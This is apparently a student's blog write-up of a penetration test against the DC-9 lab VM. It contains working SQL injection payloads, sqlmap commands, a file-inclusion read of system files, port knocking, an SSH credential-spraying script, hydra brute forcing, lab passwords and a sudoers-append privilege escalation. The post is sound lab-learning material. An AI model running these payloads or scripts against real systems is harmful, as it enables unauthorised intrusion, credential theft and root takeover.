DC-9靶机渗透测试
大学实训要打的,记录一下。
环境搭建
网上下载DC-9靶机的ova镜像后用VMware打开导入虚拟机
端口扫描
nmap -sV -A 192.168.6.132
结果如下
Nmap scan report for 192.168.6.132
Host is up (0.00056s latency).
Not shown: 998 closed tcp ports (reset)
PORT STATE SERVICE VERSION
22/tcp filtered ssh
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Example.com - Staff Details - Welcome
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:85:ED:06 (VMware)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.14
Network Distance: 1 hop
TRACEROUTE
HOP RTT ADDRESS
1 0.56 ms 192.168.6.132
开放了80和22端口
漏洞测试&提权
从80端口开始
网站点进去一个个页面看,最后在search页面发现可能有sql注入。
search=1或者2返回空。
但是用万能密码返回了全部
把那个数据包复制下来sqlmap跑一下返回有6列
python sqlmap.py -r post_request.txt
自己验证一下,确实是6列
search=1' union select 1,2,3,4,5,6--+
python sqlmap.py -r post_request.txt --current-db --tables --batch
这是sqlmap的payload:
Parameter: search (POST)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: search=1'||'1'='1' AND 4693=4693 AND 'tYwv'='tYwv
Type: time-based blind
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: search=1'||'1'='1' AND (SELECT 7698 FROM (SELECT(SLEEP(5)))KUYd) AND 'kvpr'='kvpr
Type: UNION query
Title: Generic UNION query (NULL) - 6 columns
Payload: search=1'||'1'='1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(0x7176717671,0x447567446a486f7245594f79794b4261574765654b6e4d4e51427470564f59755348746c75516163,0x717a627071),NULL,NULL-- -
现在手工注入拿用户细节表的数据
先看列有哪些
search=0'||'1'<>'1' UNION ALL SELECT NULL,NULL,NULL,CONCAT(column_name),NULL,NULL FROM information_schema.COLUMNS WHERE table_schema='users' AND table_name='UserDetails'--+
拿密码
search=0' UNION ALL SELECT NULL,firstname,lastname,username,NULL,password FROM users.UserDetails--+
但是这些密码一个都登录不成功。
把请求数据包放txt中,先拖库保存到文件,可能以后有用。
python sqlmap.py -r request.txt --batch -D users -T UserDetails --dump
这里还有一个Staff.Users表,也查一下看看。
查到admin密码
解密后去manage.php登录
welcome.php报错File dose not exist,可能存在文件包含漏洞。
猜测传参是file
可以读取文件,之前扫到22端口,读取/etc/ssh/ssh_config看看
没啥有用信息,但是扫到22端口是filter状态,说明可能使用了knock服务
参考文章https://www.cnblogs.com/xiaoxiaoleo/p/8523322.html
读取/etc/knockd.conf:
用nmap打开端口。虽然文章说nc和telnet都可以打开,但是我试过了却不行,不知道为什么。
for port in 7469 8475 9842; do nmap -Pn --host-timeout 100ms --max-retries 0 -p $port 192.168.6.132; done
执行该命令后再次扫描,看到22端口变成open了。
尝试ssh登录。之前保存有users.UserDetails的内容,现在拿来用,因为之前读取的/etc/passwd中出现的用户名和UserDetails表的用户名刚好有重合。
手工尝试了好几个都登录失败,我就不信所有都登录失败,于是写脚本
#!/bin/bash
if [ $# -ne 1 ]; then
echo "用法: $0 <用户密码CSV文件>"
exit 1
fi
CSV_FILE="$1"
TARGET_IP="192.168.6.132" # 目标服务器IP(直接硬编码避免重复修改)
PORT=22
TIMEOUT=10
KNOWN_HOSTS=$(mktemp)
# 检查依赖和文件
if [ ! -f "$CSV_FILE" ]; then echo "文件不存在: $CSV_FILE"; exit 1; fi
if ! command -v sshpass &> /dev/null; then echo "请安装sshpass"; exit 1; fi
# 关键修复:使用while循环+文件描述符读取CSV,避免ssh读取剩余行
while IFS=',' read -r id lastname password reg_date username firstname; do
[ -z "$username" ] || [ -z "$password" ] && continue # 跳过空行或无效行
echo -e "\n----------------------------------------"
echo "尝试登录: $username@$TARGET_IP"
echo "----------------------------------------"
# 使用 -t 强制分配伪终端,避免"Pseudo-terminal will not be allocated"警告
# 关键:将ssh的标准输入重定向到/dev/null,防止读取CSV文件剩余内容
sshpass -p "$password" ssh \
-t \
-o StrictHostKeyChecking=no \
-o UserKnownHostsFile="$KNOWN_HOSTS" \
-o ConnectTimeout="$TIMEOUT" \
-p "$PORT" \
"$username@$TARGET_IP" \
</dev/null # 禁止ssh读取标准输入(仅影响当前ssh命令)
if [ $? -eq 0 ]; then
echo -e "\n✅ 成功登录: $username"
rm -f "$KNOWN_HOSTS"
exit 0
else
echo "❌ 登录失败: $username (密码: $password)"
fi
done < <(tail -n +2 "$CSV_FILE") # 使用进程替换而非管道,避免子shell问题
rm -f "$KNOWN_HOSTS"
echo -e "\n❌ 所有用户尝试完毕,均登录失败"
exit 1
把之前sqlmap保存的csv上传到kali去跑,登录成功一个
查看看sudo权限,发现不能用。
但是刚刚脚本登录到chandlerb就终止了,其后的用户未尝试,先尝试一下,修改csv文件为:
id,lastname,password,reg_date,username,firstname
10,Tribbiani,Passw0rd,2019-12-29 16:58:26,joeyt,Joey
11,Green,yN72#dsd,2019-12-29 16:58:26,rachelg,Rachel
12,Geller,ILoveRachel,2019-12-29 16:58:26,rossg,Ross
13,Geller,3248dsds7s,2019-12-29 16:58:26,monicag,Monica
14,Buffay,smellycats,2019-12-29 16:58:26,phoebeb,Phoebe
15,McScoots,YR3BVxxxw87,2019-12-29 16:58:26,scoots,Scooter
16,Trump,Ilovepeepee,2019-12-29 16:58:26,janitor,Donald
17,Morrison,Hawaii-Five-0,2019-12-29 16:58:28,janitor2,Scott
1,Moe,3kfs86sfd,2019-12-29 16:58:26,marym,Mary
2,Dooley,468sfdfsd2,2019-12-29 16:58:26,julied,Julie
3,Flintstone,4sfd87sfd1,2019-12-29 16:58:26,fredf,Fred
4,Rubble,RocksOff,2019-12-29 16:58:26,barneyr,Barney
5,Cat,TC&TheBoyz,2019-12-29 16:58:26,tomc,Tom
6,Mouse,B8m#48sd,2019-12-29 16:58:26,jerrym,Jerry
7,Flintstone,Pebbles,2019-12-29 16:58:26,wilmaf,Wilma
8,Rubble,BamBam01,2019-12-29 16:58:26,bettyr,Betty
9,Bing,UrAG0D!,2019-12-29 16:58:26,chandlerb,Chandler
果然又有用户可以登录。
后来继续修改csv文件,发现janitor也能登录,一共就这3个可以登录了
chandlerb:UrAG0D!
joeyt:Passw0rd
janitor:Ilovepeepee
登录janitor看之前扫出来的config.php,得到数据库密码。
该用户主目录下有隐藏目录,啥putin的秘密?🤓
发现一堆密码,之前很多用户都没登录成功,这次用新发现的密码爆破一下看看会不会有结果
把用户名,数据库中的密码和刚刚发现的密码放入字典中,用hydra爆破
得到新的用户名密码
[22][ssh] host: 192.168.6.132 login: fredf password: B4-Tru3-001
登录查看sudo权限,发现用户fredf可以通过sudo以root权限无需密码执行/opt/devstuff/dist/test/test程序
执行一下看看:
发现报错,这文件可能是python程序。但cat读取出来是一堆乱码,说明它是二进制程序。
查看主目录发现主目录没有更多信息。根据程序位置是/opt/devstuff/dist/test/test,于是去/opt目录,得到如下发现
#!/usr/bin/python
import sys
if len (sys.argv) != 3 :
print ("Usage: python test.py read append")
sys.exit (1)
else :
f = open(sys.argv[1], "r")
output = (f.read())
f = open(sys.argv[2], "a")
f.write(output)
f.close()
这是一个Python脚本,功能是将文件A的内容追加到文件B
# -*- mode: python ; coding: utf-8 -*-
block_cipher = None
a = Analysis(['test.py'],
pathex=['/opt/devstuff'],
binaries=[],
datas=[],
hiddenimports=[],
hookspath=[],
runtime_hooks=[],
excludes=[],
win_no_prefer_redirects=False,
win_private_assemblies=False,
cipher=block_cipher,
noarchive=False)
pyz = PYZ(a.pure, a.zipped_data,
cipher=block_cipher)
exe = EXE(pyz,
a.scripts,
[],
exclude_binaries=True,
name='test',
debug=False,
bootloader_ignore_signals=False,
strip=False,
upx=True,
console=True )
coll = COLLECT(exe,
a.binaries,
a.zipfiles,
a.datas,
strip=False,
upx=True,
upx_exclude=[],
name='test')
这是PyInstaller的配置文件,说明test程序是由test.py编译生成的,功能一致。
本来是想创建root权限用户并切换去提权,但是su命令一直认证失败,输入正确密码也是失败。
方法 2:修改 /etc/sudoers(免密码sudo)
echo 'fredf ALL=(ALL) NOPASSWD:ALL' > /tmp/sudoers_patch # 构造sudoers规则(允许当前用户无密码sudo)
sudo /opt/devstuff/dist/test/test /tmp/sudoers_patch /etc/sudoers # 追加到 /etc/sudoers
sudo su # 验证提权
提权成功
本文来自博客园,作者:积分别忘C,转载请注明原文链接:https://www.cnblogs.com/hackzz/p/18992643